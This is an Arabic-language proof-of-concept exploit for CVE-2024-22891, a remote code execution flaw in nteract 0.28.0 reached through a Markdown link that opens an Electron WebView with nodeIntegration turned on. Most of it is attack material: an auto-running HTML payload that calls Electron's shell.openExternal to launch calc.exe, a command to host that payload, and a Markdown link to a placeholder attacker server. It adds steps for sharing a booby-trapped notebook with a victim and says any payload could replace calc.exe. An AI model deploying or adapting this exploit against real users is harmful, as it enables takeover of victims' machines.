
nteract 0.28.0 إعادة توجيه مفتوحة لاستغلال تنفيذ التعليمات البرمجية عن بُعد
إثبات مفهوم لثغرة CVE-2024-22891.
يتيح nteract 0.28.0 عرض Electron WebView عبر رابط Markdown، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.
يسمح nteract 0.28.0 بعرض Electron WebView عبر رابط Markdown، مما ينتج عنه تنفيذ تعليمات برمجية عن بُعد (لأن nodeIntegration في webPreferences مضبوط على true).
شرح الاستغلال
الخطوة 1) يقوم المهاجم بإنشاء خادم لشفرة المصدر لتشغيل calc.exe باستخدام الدالة openExternal().
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
ملاحظة: ※ إذا كنت ترغب في اختباره بسرعة، قم بإنشاء خادم على جهاز المهاجم باستخدام الكود التالي.
$ python -m http.server 80
الخطوة 2) قم بتشغيل تطبيق nteract على نظام الضحية وأنشئ رابط Markdown، أو شارك ملف ipynb الخاص بالمهاجم ككود مثال. ثم، قم بتشغيل calc.exe.
[Read This] (http://[attcker_adress]/shard_data.html)

عند تنفيذ ملف .ipynb عبر مشاركة الملفات، كن حذرًا لأن الرابط قد لا يكون مرئيًا. كان من الممكن أن يكون calc.exe هذا أي حمولة ضارة محلية أو عن بُعد يمكن أن تعطي المهاجم وصولًا كاملًا إلى نظام الضحية.